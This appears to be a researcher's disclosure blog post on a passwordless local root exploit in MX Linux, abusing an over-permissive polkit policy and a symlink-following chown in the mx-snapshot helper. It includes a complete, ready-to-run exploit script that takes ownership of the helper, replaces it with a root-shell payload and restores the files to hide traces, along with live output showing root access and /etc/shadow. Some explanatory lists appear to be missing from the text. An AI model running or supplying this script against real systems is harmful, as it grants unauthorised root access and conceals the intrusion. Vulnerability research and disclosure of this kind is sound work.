_._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

mxpop: passwordless root on MX Linux, by way of a snapshot helper

2026-06-02 · lpepolkitpkexecmx-linuxsymlinkchowncwe-59cwe-269

He that hath no rule over his own spirit is like a city that is broken down, and without walls.

Proverbs 25:28 (KJV)

the whole run on a fresh MX 25.2 install. victim, uid 1001, no sudo, no groups → bash mxpop.shuid=0(root), /etc/shadow in hand. no password typed, no agent prompt, and the helper is already back to root:root 755 before the # prompt shows up.

the kernel side of this fleet has been a grind lately. every vendor SAUCE tree worth reading is hardened, gated, or already patched by the time i get there. so i did the thing the OpenWrt work taught me. when the kernel says no, stop reading the kernel and start reading the root userspace bolted on top of it.

a distro's own tool suite is the soft target. somebody wrote a GUI wrapper around a privileged operation, wired it to polkit, and shipped it to every install. nobody fuzzes those. nobody diffs them against upstream, because there is no upstream. the vendor is upstream. MX Linux has a whole drawer of them: mx-snapshot, mx-tweak, mx-cleanup, mx-boot-options, a dozen more, all under github.com/MX-Linux. that's where i went, and it took about twenty minutes.

the wall with the gate left open

polkit actions live in /usr/share/polkit-1/actions/*.policy. each one names a binary and says who may run it as root, and under what authentication. the field that matters is <defaults>. the honest answer for a privileged helper is auth_admin, which prompts for the admin password, or auth_admin_keep for a short grace window. every MX policy in that directory uses one of those. except one:

# /usr/share/polkit-1/actions/org.mxlinux.pkexec.mx-snapshot-lib.policy
<action id="org.mxlinux.pkexec.snapshot-lib">
  <annotate key="org.freedesktop.policykit.exec.path">/usr/lib/mx-snapshot/snapshot-lib</annotate>
  <defaults>
    <allow_any>yes</allow_any>
    <allow_inactive>yes</allow_inactive>
    <allow_active>yes</allow_active>
  </defaults>
</action>

# every other MX action, for contrast:
mx-tweak / mx-cleanup / mx-boot-options / mx-snapshot-helper / …
    <allow_active>auth_admin_keep</allow_active>   # needs the admin password

yes, not auth_admin. yes means no password, no prompt, no admin group, no active-session requirement. any local user, including one with no group memberships at all, can run /usr/lib/mx-snapshot/snapshot-lib as root through pkexec. and allow_inactive=yes means it works from an SSH session with no seat.

$ pkexec /usr/lib/mx-snapshot/snapshot-lib <subcommand>   # runs as uid 0, no questions asked

so the whole question becomes whether there's anything in that helper an attacker can steer. the helper is a root shell with a fixed menu now, and all i have to find is a menu item that touches a path i control.

the menu item

snapshot-lib is a bash script. most of its subcommands are careful enough. cleanup_overlay sanitizes its argument against ^[A-Za-z0-9._-]+$, kill_mksquashfs is harmless, the log helpers are narrow. then there's chown_conf:

# /usr/lib/mx-snapshot/snapshot-lib
chown_conf() {
    for app in iso-snapshot-cli mx-snapshot; do
        FILE_NAME="/home/$(logname)/.config/MX-Linux/${app}.conf"
        [[ -f "$FILE_NAME" ]] && chown $(logname): "$FILE_NAME"   # no -h
    done
}

the intent is benign. the snapshot tool sometimes gets run as root, writes its config file as root, and then the file is unwritable by the user who owns the GUI. so this exists to hand ownership back, chowning the user's config file to the user. reasonable problem, catastrophic implementation. walk the trust:

so chown_conf, running as root with no authentication, will chown any root-owned regular file on the system to the calling user, as long as the attacker points ~/.config/MX-Linux/mx-snapshot.conf at it first. that's CWE-59 (link resolution before file access) stacked on CWE-269, the over-permissive policy that lets an unprivileged user reach it at all. arbitrary-chown-to-self, passwordless. that's the whole primitive.

from arbitrary chown to a root shell

the textbook move with arbitrary-chown is /etc/shadow or /etc/passwd: own the auth database, write a uid-0 account, log in. it works here. but it leaves the system's auth files altered, and i wanted a clean repro, something i could hand a maintainer that returns the box to exactly as-installed when you exit the shell. so i aimed the primitive at the helper itself.

# the helper is root-owned, mode 755, and polkit will run it as root for anyone
1.  ln -s /usr/lib/mx-snapshot/snapshot-lib  ~/.config/MX-Linux/mx-snapshot.conf
2.  pkexec snapshot-lib chown_conf        # the helper chowns *itself* to me: passwordless
3.  echo PAYLOAD > snapshot-lib           # I own it now; overwrite with my own script
4.  pkexec snapshot-lib                    # polkit runs my payload as uid 0

step 3's payload is the trick that makes the repro clean. it's a single physical line that restores the helper from a backup stashed in step 0, chowns it back to root:root, removes the symlinks and the backup, then execs an interactive root shell. because it's one line and ends in exec, bash reads the entire command into memory before the cp overwrites the file on disk, and exec replaces the process so the file is never re-read. by the time you're at the # prompt the helper is already back to its as-installed state, root-owned, original bytes. nothing on disk betrays that it happened.

the whole thing is mxpop.sh:

#!/bin/bash
# mx-snapshot passwordless-pkexec LPE. drops to root, restores helper to original.
set -u
ME="$(id -un)"
LN="$(logname 2>/dev/null || echo "$ME")"
BAK="$(mktemp /tmp/.slib.XXXXXX)"

HELPER=""
for h in /usr/lib/mx-snapshot/snapshot-lib /usr/lib/iso-snapshot-cli/snapshot-lib; do
    [ -x "$h" ] && { HELPER="$h"; break; }
done
[ -z "$HELPER" ] && { echo "[!] no snapshot-lib helper"; rm -f "$BAK"; exit 1; }

CFGDIR="/home/$LN/.config/MX-Linux"
C1="$CFGDIR/mx-snapshot.conf"
C2="$CFGDIR/iso-snapshot-cli.conf"
echo "[*] user=$ME logname=$LN helper=$HELPER"

# stash original
cp -a "$HELPER" "$BAK"

# step 1: own the helper via passwordless chown_conf + symlinked conf path
mkdir -p "$CFGDIR"
ln -sf "$HELPER" "$C1"
ln -sf "$HELPER" "$C2"
pkexec "$HELPER" chown_conf
if [ "$(stat -c %U "$HELPER" 2>/dev/null)" != "$ME" ]; then
    echo "[!] FAIL: don't own $HELPER"; rm -f "$BAK" "$C1" "$C2"; exit 1
fi

# step 2: replace helper with payload that restores+cleans then execs root shell
printf '#!/bin/bash\ncp -a -- %q %q; chown root:root %q; rm -f -- %q %q %q; rmdir --ignore-fail-on-non-empty %q 2>/dev/null; exec /bin/bash -i\n' \
    "$BAK" "$HELPER" "$HELPER" "$BAK" "$C1" "$C2" "$CFGDIR" > "$HELPER"
chmod 755 "$HELPER"

# step 3: pkexec fires payload as root
echo "[+] dropping root shell"
exec pkexec "$HELPER"

no primitive here is exotic. no spray, no leak, no race, no corrupted object. it's two config mistakes that compose into a deterministic single-shot LPE. the kind of bug that survives in a codebase for years precisely because it isn't interesting to a fuzzer. it's only interesting to someone reading the policy files by hand.

live

fresh MX Linux 25.2 install. user victim, uid 1001, sole group victim, no sudo, no prior privilege of any kind.

victim@mxbox:~$ id
uid=1001(victim) gid=1001(victim) groups=1001(victim)
victim@mxbox:~$ groups
victim
victim@mxbox:~$ bash ~/mxpop.sh
[*] user=victim logname=victim helper=/usr/lib/mx-snapshot/snapshot-lib
[+] root shell incoming, everything already reset to default; 'exit' when done
root@mxbox:~# id
uid=0(root) gid=0(root) groups=0(root)
root@mxbox:~# head -1 /etc/shadow
root:*:20602:0:99999:7:::
root@mxbox:~# stat -c '%U:%G %a' /usr/lib/mx-snapshot/snapshot-lib
root:root 755                  # helper already back to as-installed state
root@mxbox:~# exit
victim@mxbox:~$

uid=0(root), /etc/shadow readable, and the helper already back to root:root 755 with its original content before the prompt even appears. no password was typed. no authentication agent ever popped. the only artifacts during the run live in /tmp and the user's own config directory, and both are gone by the time the shell hands control back.

the fix

i reported this privately on 2026-05-30. the maintainer patched it the same day, and the fix is the right one. all three independent hardenings at once:

any one of those kills the chain, and together they close the class. a CVE is in process through MITRE. affected: mx-snapshot ≤ 26.05.1, and any antiX-derived spin repackaging the same snapshot-lib + policy pair. if you run MX, update mx-snapshot.

the lesson, again

the kernel is the hard part and the userspace is the soft part, and the privileged userspace a distro writes itself is the softest part of all. shipped to every install, runs as root, glued together with bash and polkit XML, and almost nobody audits it because it doesn't look like an attack surface. it looks like plumbing.

allow_any=yes on one policy file and a missing -h on one chown. twenty minutes of reading. a city broken down, and without walls.

. _SiCk · 0xdeadbeefnetwork · afflicted.sh